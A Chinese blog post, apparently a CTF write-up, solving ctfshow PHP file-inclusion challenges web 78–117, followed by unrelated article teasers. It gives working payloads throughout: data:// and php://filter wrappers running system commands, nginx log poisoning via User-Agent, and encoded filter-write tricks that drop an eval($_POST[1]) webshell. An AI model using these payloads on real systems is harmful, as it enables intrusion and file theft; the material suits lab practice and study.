ctfshow 文件包含 web 78 -117

news/2024/11/29 9:36:04/

目录

  • web 78
  • web 79
  • web 80
  • web 81
  • web 82-86(环境暂时做不了)
  • web 87
  • web 88
  • web 116
  • web 117

web 78

data://text/plain,<?php system("cat flag.php");?>
php://filter/convert.base64-encode/resource=flag.php

web 79

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system(‘cat flag.php’);

web 80

包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log
我们抓个包就可以知道它的服务类型为nginx
在这里插入图片描述

然后在user-agent写shell
在这里插入图片描述

web 81

同上

web 82-86(环境暂时做不了)

web 87

因为它对php,:,data进行了过滤,并进行了url解码
我们可以对php://filter/write=convert.base64-decode/resource=1.php(把内容写进1.php)进行url二次编码
exp,这个只是第一次url编码然后只要在编码网站再编码一次就行了

<?php
$b='';
$a='php://filter/write=convert.base64-decode/resource=1.php';
$c='%';
for($i=0;$i<strlen($a);$i++)
{$b=$b.$c.bin2hex($a[$i]);
}
echo $b;
?>

content可以对<?php eval($_POST[1]);?>进行base64编码,再在前面加个aa,因为base64是以4个字节为一组而前面的phpdie还差两个字节。

只有ASCII码值为43,45-47,65-90,97-122时,才有base64_reverse_table[ch]>=0,对应字符为 +, / , 09,az,A~Z,其余字符都会被跳过
如本题的 <?php die("大佬别秀了");?> 在base64_decode处理的时候可视为phpdie,

web 88

这次构造要注意,要构造一个末尾没有加号或等于号
file=data://text/plain;base64,PD9waHAgaGlnaGxpZ2h0X2ZpbGUoIi4vZmwwZy5waHAiKTsgPz4xYXM
在这里插入图片描述

web 116

用010分离出图片
在这里插入图片描述
然后再分离
file=compress.zlib:///var/www/html/flag.php

web 117

file=php://filter/write=convert.iconv.ucs-2le.ucs-2be/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?
//<?php eval($_POST[1]);?>进入a.php,webshell

http://www.ppmy.cn/news/563785.html

相关文章

正点原子Linux 触摸芯片改成GT911后的驱动修改(单点和多点触摸)

目录 单点触摸设备树修改编译设备树和驱动模块并运行运行测试 多点触摸 野火的Linux的触摸芯片就是用的GT911,如果用GT911替换原来正点原子的FT5x06或者GT9147,需要做一些修改。 单点触摸 在正点原子的触摸芯片软件历程里有GT9147的代码&#xff0c;基于此代码修改即可 注意正…

记一次移植GT9271无法正常通信

移植汇顶的TP GT9271时&#xff0c;发现i2c通信不上&#xff0c;检查了TP的供电和复位脚及硬件连接&#xff0c;都没发现问题&#xff0c;然后发现内核有如下的报错信息。 [49533.829164] gpio-272 (goodix_ts_int): _gpiod_direction_output_raw: tried to set a GPIO tied t…

stm32驱动GT-U7 GPS

文章目录 STM32驱动GT-U7 GPS模块一些参数用户手册过程问题代码 STM32驱动GT-U7 GPS模块 淘宝链接&#xff1a;GT-U7 GPS 一些参数 可到淘宝链接上查看。&#xff08;因为放的是图片&#xff0c;审核时认为是广告&#xff09; 用户手册 4&#xff0c;$GPRMC&#xff08;推…

宝塔面板实用教程(1):10分钟部署在线客服系统

客服系统发布以来&#xff0c;一直有朋友询问如何在宝塔面板中安装部署&#xff0c;开始我一直认为参考 Linux 版的安装教程就可以了&#xff0c;一直没有专门写宝塔环境的教程。这段时间来咨询的朋友越来越多&#xff0c;经过了解&#xff0c;我才知道宝塔面板的普及率有多高&…

如何判断TongWeb是否支持某种数据库?

起因&#xff1a; 数据库连接池本是一项成熟的技术&#xff0c;但随着数据库厂家、种类的增加&#xff0c;常常被问到TongWeb是否支持XX数据库&#xff0c;连接原理是什么&#xff1f; 说明&#xff1a; 数据库连接池的基本思路是&#xff0c;平时建立适量的数据库的连接&…

导航【网络安全】

导航【网络安全】 前言推荐导航最后 前言 2023-6-25 10:21:15 以下内容源自《【网络安全】》 仅供学习交流使用 推荐 期末复习【网络安全】 导航 第2章 作业&#xff08;2456&#xff09;【网络安全】 实验 DES算法的实现【网络安全】 实验一 Windows系统安全实验【网络…

双硬盘安装ubuntu的一点心得

T40双硬盘安装ubuntu的一点心得 新来的&#xff0c;今天装了2次XP&6次LINUX&#xff0c;发点装Ubuntu的心得。 我的电脑是 IBM T40&#xff0c;加了硬盘托架&#xff0c;双硬盘的。先装XP&#xff0c;再从硬盘安装LINUX。 刚开始&#xff0c;试了两种方法&#xff1a; 方法…

硬盘安装Ubuntu详细教程

准备材料&#xff1a;Ubuntu镜像&#xff0c;下载地址&#xff1a;http://www.ubuntu.com/download/desktop ISO镜像软件&#xff1a;UltraISO&#xff0c;百度搜索下载 20-30G左右的空余硬盘空间&#xff0c;有空虚的就不管怎么弄出这些空间&#xff0c;简单的就是将硬盘尾部分…